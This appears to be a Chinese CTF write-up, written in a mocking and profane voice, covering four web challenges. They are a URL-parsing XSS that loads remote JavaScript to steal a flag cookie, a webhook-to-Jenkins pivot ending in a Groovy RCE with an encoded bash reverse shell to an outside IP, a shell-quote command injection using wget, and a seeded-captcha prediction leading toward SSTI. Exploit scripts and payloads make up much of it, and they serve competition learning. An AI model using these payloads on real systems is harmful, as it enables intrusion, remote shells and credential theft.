写在前面
呜呜呜,shanhegiegie 太猛了,打了一天懒猫,第二天还要上课,周六补课,是谁啊,原来是👴啊,那没事了 (nmsl).
参考:
https://wm-ctf-team.feishu.cn/docx/PLbbdhwdyoAefuxokXwcYppzn1c
微信公众平台 (qq.com)
easy latex
new URL 特性😂
先来个小 demo
1 2 3 4
| const username = "43.143.192.19:1145" const vip_url = "http://vip:5000/"
console.log(new URL(username,vip_url))
|
如此,pathname 是我们的第一个参数,host 是我们的第二个参数.
倘若我第一个参数前面加 \\ 或是 //, 阁下又当如何应对😓.
1 2 3 4 5
| const username = "\\\\43.143.192.19:1145"
const vip_url = "http://vip:5000/"
console.log(new URL(username,vip_url))
|
喜欢我绕过污染 host 吗😛
运用到题目🤪
不多 bb, 源码鉴赏一波
1 2 3 4 5 6 7 8 9 10 11 12
| app.get('/preview', (req, res) => { let { tex, theme } = req.query if (!tex) { tex = 'Today is \\today.' } const nonce = getNonce(16) let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/' if (theme) { base = new URL(theme, `http://${req.headers.host}/theme/`) + '/' } res.render('preview.html', { tex, nonce, base }) })
|
我直接 theme 上放入我的 vps, 远程加载奥西给
经一格德拉米的测试😤,wcsndm, 就算啥路径都不加他都会访问 /js/base.js, 这很不自由🤔.
没关系,直接在 vps 起一个一模一样的 emoji,👴真是个天才.
/var/www/html/base/base.js 放上这个代码,测试一波,让我狠狠地测!!!🥵
欧内的手,好汉,奥西给,爽的雅痞,比🐍出来还爽.
visit 触发
不多 bb, 上源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| app.get('/share/:id', reportLimiter, async (req, res) => { const { id } = req.params if (!id) { res.send('no note id specified') return } const url = `http://localhost:${PORT}/note/${id}` try { await visit(url) res.send('done') } catch (e) { console.log(e) res.send('something error') } })
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| const visit = async (url) => { console.log(`start: ${url}`) const browser = await puppeteer.launch({ headless: 'new', executablePath: '/usr/bin/google-chrome-stable', args: ['--no-sandbox'], })
const ctx = await browser.createIncognitoBrowserContext(); try{ const page = await ctx.newPage(); await page.setCookie({ name: 'flag', value: FLAG, domain: `${APP_HOST}:${APP_PORT}`, httpOnly: true }) await page.goto(url, {timeout: 5000}) await sleep(3000) await page.close() }catch(e){ console.log(e); } await ctx.close(); await browser.close() console.log(`done: ${url}`) }
|
那么众所周知,visit 就是能够自行打开浏览器并且访问,不知道的话上网查,别问👴.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| app.post('/vip', auth, async (req, res) => { let username = req.session.username let { code } = req.body let vip_url = VIP_URL let data = await (await fetch(new URL(username, vip_url), { method: 'POST', headers: { Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ') }, body: new URLSearchParams({ code }) })).text() if ('ok' == data) { res.cookie('token', sign({ username, isVip: true })) res.send('Congratulation! You are VIP now.') } else { res.send(data) } })
|
而这个 visit, 打开浏览器访问,🍪里面是携带着 flag, 所以👴要拿到这个🍪.
但是 flag 不一定能够传来,而 vip 路由能够强制让 Cookie 携带就很好✌
不过直接访问是拿不到的,怎么办捏,xss 过来!
1
| /share路由new url访问->/preview路由进行new url xss->加载vps恶意js->以带🍪的身份访问/login和/vip,触发vip的fetch访问->将🍪数据转到xss平台.
|
使用 urlencode
1 2
| /share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%61%77%64%61%64%61%77%64%26%74%68%65%6d%65%3d%2f%2f%34%33%2e%31%34%33%2e%31%39%32%2e%31%39%3a%31%31%34%35 /share/../preview?tex=awdadawd&theme=
|
目录穿越大法访问 preview, 至于为啥用 url 编码,因为是接在路径之后的,容易被解析成路径而不是传递的参数.
js 上放丶东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| const login = '/login'; const vip = '/vip'; const loginreq = new URLSearchParams({ username: '//z08vedyv.requestrepo.com', password: '7bbf4ac9596b5662b44db993bd8050dd', }); const changshu = { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: loginreq, };
async function evil() { try { const loginrep = await fetch(login, changshu); if (loginrep.ok) { const vipResponse = await fetch(vip, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ code: "awdawdwadwadwadwa" }), credentials: 'include', }); } else { } } catch (error) { console.error(error); } }
evil();
|
👴爱使用 Dashboard - requestrepo.com 收 cookies
cnm 不好用,还是 vps 得劲
eeeeeeeeeeeeeeez, もろいもろい。
最後の exp 改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| const login = '/login'; const vip = '/vip'; const loginreq = new URLSearchParams({ username: '//43.143.192.19:7777', password: '9aaf577e773320b3548fdc5f37aa6e74' }); const changshu = { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: loginreq, };
async function evil() { try { const loginrep = await fetch(login, changshu); if (loginrep.ok) { const vipResponse = await fetch(vip, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ code: "awdawdwadwadwadwa" }), credentials: 'include', }); } else { } } catch (error) { console.error(error); } }
evil();
|
现在,👴就是新世界の卡密.
hooks
https://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/
what is webhook🤔
Webhook 是一种通过 HTTP 协议实现的回调机制,用于将实时事件和数据从一个应用程序传递到另一个应用程序。Webhook 允许应用程序在特定事件发生时自动通知其他应用程序,这种通知是通过 HTTP POST 请求进行的。它是一种用于实现实时通信和数据传递的轻量级机制。
以下是 Webhook 的主要特点和用途:
事件驱动通知: Webhook 主要用于事件驱动的通知,例如新的订单、新的消息、状态更改等。当特定事件发生时,源应用程序将发送 HTTP POST 请求到目标应用程序的 Webhook URL,通知目标应用程序进行响应。
实时性: Webhook 通常具有低延迟,因为它们是即时触发的。当事件发生时,通知立即发送,而不需要轮询或定期检查。
自动化: Webhook 允许自动化处理事件和数据,减少了手动干预的需要。这对于集成不同应用程序、自动化工作流程和提高效率非常有用。
扩展性: Webhook 可以与各种不同类型的应用程序和服务集成,使其具有很高的灵活性和扩展性。
数据传递: Webhook 可以传递各种数据格式,包括 JSON、XML、表单数据等,这使得它们适用于多种应用场景。
重点🤪:webhook 只允许我们发送 POST 请求,没法控制请求的 body, 甚至没有 csrf 的 token😓
Abusing Jenkins login
不说人话:
Jenkins 是一个开源的自动化服务器,用于构建、测试和部署软件项目。它提供了一个灵活的平台,使团队能够自动化整个软件开发过程中的各种任务。以下是 Jenkins 的主要特点和用途:
持续集成 (CI) 和持续交付 (CD): Jenkins 通过自动化构建和测试过程,支持持续集成和持续交付,使团队能够频繁地、可靠地交付软件。
插件生态系统: Jenkins 具有强大的插件生态系统,允许用户轻松地扩展其功能。有数千个可用的插件,用于与各种工具和技术进行集成。
分布式构建: Jenkins 支持分布式构建,可以将构建任务分发到多个构建代理 (Nodes),以提高构建性能和可扩展性。
自动化部署: Jenkins 可以与各种部署工具和云平台集成,支持自动化部署到不同环境,包括开发、测试和生产环境。
可视化界面: Jenkins 提供直观的 Web 用户界面,用于管理构建任务、查看构建历史和生成报告。
多种构建工具支持: Jenkins 可以与各种构建工具集成,包括 Apache Ant、Maven、Gradle 等。
多语言支持: Jenkins 支持多种编程语言和技术栈,使其适用于各种项目。
安全性和权限控制: Jenkins 具有强大的安全性和权限控制功能,可以管理用户和角色的访问权限。
日志记录和报告: Jenkins 生成详细的构建日志和报告,以便诊断问题和追踪构建进度。
活跃的社区和支持: Jenkins 是一个开源项目,有一个活跃的社区,提供支持、文档和插件。
说人话:👴也不知道
一种绕过它们的方法,从登录页面开始。我们可以尝试暴力破解用户凭据,因为 Jenkins 用户在其自己的用户数据库中进行管理,或者使用其他缺乏基本保护(例如密码策略或针对自动化的保护)的用户管理方法,这是很常见的。(机翻,👴看不懂🐏文)
总而言之就是,通过 github 或 gitlab 的 webhooks 经过 python 中转,打到题目的内网.
👴真 tm 是个 sb, 看个文章没看全,把一部分 exp 拿去打,死活打不通,后来问⛰🌊giegie, 才知道要通过 python 写个重定向中转才能有回显,说是有视频演示,👴tm🐇了,没这么 sb 吧,阿米诺斯.
开打😤
1 2 3 4 5 6 7
| from flask import Flask,redirect app = Flask(__name__) @app.route('/evil', methods=['POST']) def evil(): return redirect("http://124.70.33.170:8088/redirect?redirect_url=http://jenkins:8080/",code=302) if __name__ == '__main__': app.run(host='0.0.0.0', port=7777)
|
1 2 3 4 5 6
| <!DOCTYPE html><html><head resURL="/static/e1c81722" data-rooturl="" data-resurl="/static/e1c81722">
<title>Dashboard [Jenkins]</title><link rel="stylesheet" href="/static/e1c81722/css/layout-common.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/style.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/color.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/css/responsive-grid.css" type="text/css" /><link rel="shortcut icon" href="/static/e1c81722/favicon.ico" type="image/vnd.microsoft.icon" /><link color="black" rel="mask-icon" href="/images/mask-icon.svg" /><script>var isRunAsTest=false; var rootURL=""; var resURL="/static/e1c81722";</script><script src="/static/e1c81722/scripts/prototype.js" type="text/javascript"></script><script src="/static/e1c81722/scripts/behavior.js" type="text/javascript"></script><script src='/adjuncts/e1c81722/org/kohsuke/stapler/bind.js' type='text/javascript'></script><script src="/static/e1c81722/scripts/yui/yahoo/yahoo-min.js"></script><script src="/static/e1c81722/scripts/yui/dom/dom-min.js"></script><script src="/static/e1c81722/scripts/yui/event/event-min.js"></script><script src="/static/e1c81722/scripts/yui/animation/animation-min.js"></script><script src="/static/e1c81722/scripts/yui/dragdrop/dragdrop-min.js"></script><script src="/static/e1c81722/scripts/yui/container/container-min.js"></script><script src="/static/e1c81722/scripts/yui/connection/connection-min.js"></script><script src="/static/e1c81722/scripts/yui/datasource/datasource-min.js"></script><script src="/static/e1c81722/scripts/yui/autocomplete/autocomplete-min.js"></script><script src="/static/e1c81722/scripts/yui/menu/menu-min.js"></script><script src="/static/e1c81722/scripts/yui/element/element-min.js"></script><script src="/static/e1c81722/scripts/yui/button/button-min.js"></script><script src="/static/e1c81722/scripts/yui/storage/storage-min.js"></script><script src="/static/e1c81722/scripts/hudson-behavior.js" type="text/javascript"></script><script src="/static/e1c81722/scripts/sortable.js" type="text/javascript"></script><script>crumb.init("", "");</script><link rel="stylesheet" href="/static/e1c81722/scripts/yui/container/assets/container.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/assets/skins/sam/skin.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/container/assets/skins/sam/container.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/button/assets/skins/sam/button.css" type="text/css" /><link rel="stylesheet" href="/static/e1c81722/scripts/yui/menu/assets/skins/sam/menu.css" type="text/css" /><link rel="search" href="/opensearch.xml" type="application/opensearchdescription+xml" title="Jenkins" /><meta name="ROBOTS" content="INDEX,NOFOLLOW" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="alternate" href="/rssAll" title="Jenkins:all (all builds)" type="application/rss+xml" /><link rel="alternate" href="/rssAll?flavor=rss20" title="Jenkins:all (all builds) (RSS 2.0)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed" title="Jenkins:all (failed builds)" type="application/rss+xml" /><link rel="alternate" href="/rssFailed?flavor=rss20" title="Jenkins:all (failed builds) (RSS 2.0)" type="application/rss+xml" /><script src="/static/e1c81722/scripts/yui/cookie/cookie-min.js"></script><script> YAHOO.util.Cookie.set("screenResolution", screen.width+"x"+screen.height); </script><script src="/static/e1c81722/jsbundles/page-init.js" type="text/javascript"></script></head><body data-model-type="hudson.model.AllView" id="jenkins" class="yui-skin-sam two-column jenkins-2.138" data-version="2.138"><a href="#skip2content" class="skiplink">Skip to content</a><div id="page-head"><div id="header"><div class="logo"><a id="jenkins-home-link" href="/"><img src="/static/e1c81722/images/headshot.png" alt="[Jenkins]" id="jenkins-head-icon" /><img src="/static/e1c81722/images/title.png" alt="Jenkins" width="139" id="jenkins-name-icon" height="34" /></a></div><div class="login"> <a href="/login?from=%2F"><b>log in</b></a></div><div class="searchbox hidden-xs"><form method="get" name="search" action="/search/" style="position:relative;" class="no-json"><div id="search-box-minWidth"></div><div id="search-box-sizer"></div><div id="searchform"><input name="q" placeholder="search" id="search-box" class="has-default-text" /> <a href="https://jenkins.io/redirect/search-box"><img src="/static/e1c81722/images/16x16/help.png" style="width: 16px; height: 16px; " class="icon-help icon-sm" /></a><div id="search-box-completion"></div><script>createSearchBox("/search/");</script></div></form></div></div><div id="breadcrumbBar"><tr id="top-nav"><td id="left-top-nav" colspan="2"><link rel='stylesheet' href='/adjuncts/e1c81722/lib/layout/breadcrumbs.css' type='text/css' /><script src='/adjuncts/e1c81722/lib/layout/breadcrumbs.js' type='text/javascript'></script><div class="top-sticker noedge"><div class="top-sticker-inner"><div id="right-top-nav"><div id="right-top-nav"><div class="smallfont"><a href="?auto_refresh=true">ENABLE AUTO REFRESH</a></div></div></div><ul id="breadcrumbs"><li class="item"><a href="/" class="model-link inside">Jenkins</a></li><li href="/" class="children"></li></ul><div id="breadcrumb-menu-target"></div></div></div></td></tr></div></div><div id="page-body" class="clear"><div id="side-panel"><div id="tasks"><div class="task"><a href="/asynchPeople/" class="task-icon-link"><img src="/static/e1c81722/images/24x24/user.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-user icon-md" /></a> <a href="/asynchPeople/" class="task-link">People</a></div><div class="task"><a href="/view/all/builds" class="task-icon-link"><img src="/static/e1c81722/images/24x24/notepad.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-notepad icon-md" /></a> <a href="/view/all/builds" class="task-link">Build History</a></div><div class="task"><a href="/credentials" class="task-icon-link"><img src="/static/e1c81722/plugin/credentials/images/24x24/credentials.png" style="width: 24px; height: 24px; width: 24px; height: 24px; margin: 2px;" class="icon-credentials-credentials icon-md" /></a> <a href="/credentials" class="task-link">Credentials</a></div></div><div id="buildQueue" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=buildQueue" title="collapse" class="collapse"><img src="/static/e1c81722/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a>Build Queue</div></div><div class="row pane-content"><table class="pane "><script src='/adjuncts/e1c81722/lib/form/link/link.js' type='text/javascript'></script><tr><td class="pane" colspan="2">No builds in the queue.</td></tr></table></div></div><script defer="defer">refreshPart('buildQueue',"/ajaxBuildQueue");</script><div id="executors" class="container-fluid pane-frame track-mouse expanded"><div class="row"><div class="col-xs-24 pane-header"><a href="/toggleCollapse?paneId=executors" title="collapse" class="collapse"><img src="/static/e1c81722/images/16x16/collapse.png" alt="collapse" style="width: 16px; height: 16px; " class="icon-collapse icon-sm" /></a><a href='/computer/'>Build Executor Status</a></div></div><div class="row pane-content"><table class="pane "><colgroup><col width="30" /><col width="200*" /><col width="24" /></colgroup><tr></tr><tr><td class="pane" align="right" style="vertical-align: top">1</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr><tr><td class="pane" align="right" style="vertical-align: top">2</td><td class="pane">Idle</td><td class="pane"></td><td class="pane"></td></tr></table></div></div><script defer="defer">refreshPart('executors',"/ajaxExecutors");</script></div><div id="main-panel"><a name="skip
|
看到 jenkins 版本为 2.138, 别问👴怎么看到的,你咋那么多事呢😡
https://www.cnblogs.com/cute-puli/p/15378440.html
1
| http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22命令替换%22.execute()}}
|
打这个命令
1
| http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDMuMTkyLjE5LzExNDUgMD4mMQ==}|{base64,-d}|{bash,-i}".execute()}}
|
先把 value 的值 url 编码,然后把整个重定向网址 url 编码,
1
| http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%20%20%20%20%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4d%79%34%78%4e%44%4d%75%4d%54%6b%79%4c%6a%45%35%4c%7a%45%78%4e%44%55%67%4d%44%34%6d%4d%51%3d%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%2e%65%78%65%63%75%74%65%28%29%0a%20%20%7d%0a%7d
|
1
| %68%74%74%70%3a%2f%2f%6a%65%6e%6b%69%6e%73%3a%38%30%38%30%2f%73%65%63%75%72%69%74%79%52%65%61%6c%6d%2f%75%73%65%72%2f%61%64%6d%69%6e%2f%64%65%73%63%72%69%70%74%6f%72%42%79%4e%61%6d%65%2f%6f%72%67%2e%6a%65%6e%6b%69%6e%73%63%69%2e%70%6c%75%67%69%6e%73%2e%73%63%72%69%70%74%73%65%63%75%72%69%74%79%2e%73%61%6e%64%62%6f%78%2e%67%72%6f%6f%76%79%2e%53%65%63%75%72%65%47%72%6f%6f%76%79%53%63%72%69%70%74%2f%63%68%65%63%6b%53%63%72%69%70%74%3f%73%61%6e%64%62%6f%78%3d%74%72%75%65%26%76%61%6c%75%65%3d%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%36%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%30%25%37%38%25%32%30%25%37%62%25%30%61%25%32%30%25%32%30%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%37%38%25%32%38%25%32%39%25%37%62%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%32%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%33%25%32%30%25%37%62%25%36%35%25%36%33%25%36%38%25%36%66%25%32%63%25%35%39%25%36%64%25%34%36%25%37%61%25%36%31%25%34%33%25%34%31%25%37%34%25%36%31%25%35%33%25%34%31%25%32%62%25%34%61%25%36%39%25%34%31%25%37%36%25%35%61%25%34%37%25%35%36%25%33%32%25%34%63%25%33%33%25%35%32%25%36%61%25%36%33%25%34%33%25%33%38%25%33%30%25%34%64%25%37%39%25%33%34%25%37%38%25%34%65%25%34%34%25%34%64%25%37%35%25%34%64%25%35%34%25%36%62%25%37%39%25%34%63%25%36%61%25%34%35%25%33%35%25%34%63%25%37%61%25%34%35%25%37%38%25%34%65%25%34%34%25%35%35%25%36%37%25%34%64%25%34%34%25%33%34%25%36%64%25%34%64%25%35%31%25%33%64%25%33%64%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%32%64%25%36%34%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%38%25%32%63%25%32%64%25%36%39%25%37%64%25%32%32%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%37%35%25%37%34%25%36%35%25%32%38%25%32%39%25%30%61%25%32%30%25%32%30%25%37%64%25%30%61%25%37%64
|
最终 exp,👴の最後のエクスプロイト (exloit)
1 2 3 4 5 6 7
| from flask import Flask,redirect app = Flask(__name__) @app.route('/evil', methods=['POST']) def evil(): return redirect("http://124.70.33.170:8088/redirect?redirect_url=%68%74%74%70%3a%2f%2f%6a%65%6e%6b%69%6e%73%3a%38%30%38%30%2f%73%65%63%75%72%69%74%79%52%65%61%6c%6d%2f%75%73%65%72%2f%61%64%6d%69%6e%2f%64%65%73%63%72%69%70%74%6f%72%42%79%4e%61%6d%65%2f%6f%72%67%2e%6a%65%6e%6b%69%6e%73%63%69%2e%70%6c%75%67%69%6e%73%2e%73%63%72%69%70%74%73%65%63%75%72%69%74%79%2e%73%61%6e%64%62%6f%78%2e%67%72%6f%6f%76%79%2e%53%65%63%75%72%65%47%72%6f%6f%76%79%53%63%72%69%70%74%2f%63%68%65%63%6b%53%63%72%69%70%74%3f%73%61%6e%64%62%6f%78%3d%74%72%75%65%26%76%61%6c%75%65%3d%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%36%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%30%25%37%38%25%32%30%25%37%62%25%30%61%25%32%30%25%32%30%25%37%30%25%37%35%25%36%32%25%36%63%25%36%39%25%36%33%25%32%30%25%37%38%25%32%38%25%32%39%25%37%62%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%32%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%33%25%32%30%25%37%62%25%36%35%25%36%33%25%36%38%25%36%66%25%32%63%25%35%39%25%36%64%25%34%36%25%37%61%25%36%31%25%34%33%25%34%31%25%37%34%25%36%31%25%35%33%25%34%31%25%32%62%25%34%61%25%36%39%25%34%31%25%37%36%25%35%61%25%34%37%25%35%36%25%33%32%25%34%63%25%33%33%25%35%32%25%36%61%25%36%33%25%34%33%25%33%38%25%33%30%25%34%64%25%37%39%25%33%34%25%37%38%25%34%65%25%34%34%25%34%64%25%37%35%25%34%64%25%35%34%25%36%62%25%37%39%25%34%63%25%36%61%25%34%35%25%33%35%25%34%63%25%37%61%25%34%35%25%37%38%25%34%65%25%34%34%25%35%35%25%36%37%25%34%64%25%34%34%25%33%34%25%36%64%25%34%64%25%35%31%25%33%64%25%33%64%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%32%64%25%36%34%25%37%64%25%37%63%25%37%62%25%36%32%25%36%31%25%37%33%25%36%38%25%32%63%25%32%64%25%36%39%25%37%64%25%32%32%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%37%35%25%37%34%25%36%35%25%32%38%25%32%39%25%30%61%25%32%30%25%32%30%25%37%64%25%30%61%25%37%64",code=302) if __name__ == '__main__': app.run(host='0.0.0.0', port=7777)
|
哈哈哈哈哈!欺骗世界这种事情,对于👴来说,简直小菜一碟.
わたしは強い あなたたちより強い!
这一切都是命运石之门的选择!
~Ave Mujica’s Masquerade~
「お幸せに」, 希啊哇赛你妹的,👴很😡😡.
源码,冲😓
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| app.get('/checker', (req, res) => { let url = req.query.url;
if (url) {
let host; let port;
if (url.includes(":")) { const parts = url.split(":"); host = parts[0]; port = parts.slice(1).join(":"); } else { host = url; } if (port) { command = shellQuote.quote(["nmap", "-p", port, host]); } else { command = shellQuote.quote(["nmap", "-p", "80", host]); } nmap = spawn("bash", ["-c", command]); console.log(command); nmap.on('exit', function (code) { console.log('child process exited with code ' + code.toString()); if (code !== 0) { res.send(`Error executing command!!!`); } else { res.send(`Ok...`); } });
} else { res.send('No parameter provided.'); } });
|
不多 bb, 就是打这个 checker 路由.
👴觉得 shellQuote,quote 很陌生,很不对劲,怎么办,搜 exp!
别跟👴说你不会搜,nmd 不要用国内的答辩引擎,上🥁🕊直接:shellQuote exploit
第一个就是了,其它都不好使:Exploiting CVE-2021-42740 (wh0.github.io)
不说人话:shell-quote 包通常用于转义不受信任的输入,以便在 shell 命令中使用。此示例采用不受信任的输入,引用它,并通过一个命令运行它,该命令将其打印出来。我们只希望它返回一个字符串,而不是允许不受信任的输入运行任意命令。假设我们在路径中调用 pwnme 了这个程序,如果它被执行,我们就失败了我们的安全目标:
有点难懂,来个 demo 试一下.
1
| return String(s).replace(/([A-z]:)?([#!"$&'()*,:;<=>?@\[\\\]^`{|}])/g, '$1\\$2');
|
最好在虚拟机上用,test.js 如下
1 2 3 4 5 6 7 8
| const childProcess = require('child_process');
const shellQuote = require('shell-quote');
const untrusted = process.argv[2]; console.log('untrusted', untrusted); const result = childProcess.execSync(shellQuote.quote(['printf', '%s\n', untrusted])); console.log('result', result);
|
1
| node test.js '`:`./pwnme``:`'
|
这里的
相当于 untrsuted,👴直接就说了.
pwnme 输入
1 2 3
| #!/bin/sh touch /tmp/i-am-pwned echo "oh no"
|
输入命令
1
| node test.js '`:`./pwnme``:`'
|
直接就能执行 pwnme 里面的内容了
空格被 ban 怎么办,用 $IFS, 别这也要👴教.
你现在明白了怎么绘世了.
1
| command = shellQuote.quote(["nmap", "-p", port, host]);
|
现在也就是要控制 port
了
1
| "127.0.0.1:`:`wget$IFS``:`
|
$IFS
$9
先下载
报错并无关系,已经执行力.
再执行
芜湖,奥利安费,太 tm 爽了.
👴顺便说一下,用斜杠也能绕过
story
これは、わたしの物語🤣,wcsndm 题目环境没了,自己本地搭 docker.
不过问题不大,因为👴魔改了一下源码,一样能和题目效果差不多
1
| app.config['SECRET_KEY'] = str(uuid.uuid4())
|
为了保证题目密钥的随机性,👴改成了这 b 玩意,👴可太 nb 了
不多 bb, 先上源码,让👴来看看怎么个事😊
源码🤔
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| def captcha(): gen = Captcha(200, 80) buf , captcha_text = gen.generate()
session['captcha'] = captcha_text return buf.getvalue(), 200, { 'Content-Type': 'image/png', 'Content-Length': str(len(buf.getvalue())) } @app.route('/vip', methods=['POST']) def vip(): captcha = generate_code() captcha_user = request.json.get('captcha', '') if captcha == captcha_user: session['vip'] = True return render_template("home.html") @app.route('/story', methods=['GET']) def story(): story = session.get('story','') if story is not None and story != "": tpl = open('templates/story.html', 'r').read() return render_template_string(tpl % story) return redirect("/") @app.route('/write', methods=['POST','GET']) def rename(): if request.method == "GET": return redirect('/') story = request.json.get('story', '') if session.get('vip', ''):
if not minic_waf(story): session['username'] = "" session['vip'] = False return jsonify({'status': 'error', 'message': 'no way~~~'}) session['story'] = story return jsonify({'status': 'success', 'message': 'success'}) return jsonify({'status': 'error', 'message': 'Please become a VIP first.'}), 400
|
👴只放了三个路由,不是懒,而是没有必要,你用不着这么多了🤣
很明显,最终利用点就是 story 路由下的 render_template_string, 众所周知,这是 SSTI 的触发点.
但是参数是从 session 里面取出来的,你能伪造吗,那怎么说也得拿到 SECRET_KEY 啊,怎么拿到呢,通过 stroy 路由 ssti拿到,那我怎么 ssti, 先伪造 session, 那我怎么伪造 session, 先拿到 SECRET_KEY, 那我怎么拿到 SCECRET_KEY 呢,先 ssti…
坑爹呢!这是,😓(bushi)
好吧,正解其实是:
通过 write 路由写 session 的 story, 但是 write 路由利用有个条件,要伪造 vip, 那怎么伪造 vip, 那必然是先拿到 SECRET_KEY… 我说婷婷,打住,没完了是吧🤪.
vip 路由下能够让我们 session 中的 vip 为 true
1 2 3 4 5 6 7
| def vip(): captcha = generate_code() captcha_user = request.json.get('captcha', '') if captcha == captcha_user: session['vip'] = True return render_template("home.html") @app.route('/story', methods=['GET'])
|
不过条件是 generate_code 等于传入的 captcha, 而 generate_code 的生成逻辑是随机的四位,而且每访问一次都会变,直接爆破的人建议魔法披风.
我看看这个 captcha 的生成是怎么个事
1 2 3
| def generate_code(length: int = 4): characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' return ''.join(random.choice(characters) for _ in range(length))
|
这玩个 p 啊,随机生成,我看看这个 class 怎么个事
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Captcha: lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]
def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4, fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None): self._width = width self._height = height self._length = length self._key = (key or int(time.time())) + random.randint(1,100) self._fonts = fonts or DEFAULT_FONTS self._font_sizes = font_sizes or (42, 50, 56) self._truefonts: t.List[FreeTypeFont] = [] random.seed(self._key)
|
哦,原来是有种子的呀,那没事了 (nmsl).
这种子是当前时间戳的取证拼接 1 到 100 的随机数.
显然 time 我们可以自己本地生成,1 到 100 的随机数,凹概率你不会?爆破他个几百上千次,总能终出的.
终出不了也别干了,机器爆破这么多次,1 到 100 总得终出吧.🥵
1 2 3 4 5 6 7 8 9 10
| def captcha(): gen = Captcha(200, 80) buf , captcha_text = gen.generate()
session['captcha'] = captcha_text return buf.getvalue(), 200, { 'Content-Type': 'image/png', 'Content-Length': str(len(buf.getvalue())) } @app.route('/vip', methods=['POST'])
|
为此我们需要访问 captcha, 每次以当前时间戳 + 随机数为种子重置这个对象,所以要先访问 captch, 再访问 /vip.
流程是
1
| 重置Captcha对象,以当前时间戳加1至100随机数->gen.generate()生成第一次随机数->/vip路由调用generate_code随机生成
|
因此,我们也需要对轴
1 2 3 4
| gen = Captcha(200, 80, int(time.time()) + random.randint(1, 100)) gen.generate() requests.get(url1 + "captcha", headers=headers)
|
首先完成这些操作,然后访问 captcha 路由,此时轴对上了
1
| captcha = generate_code()
|
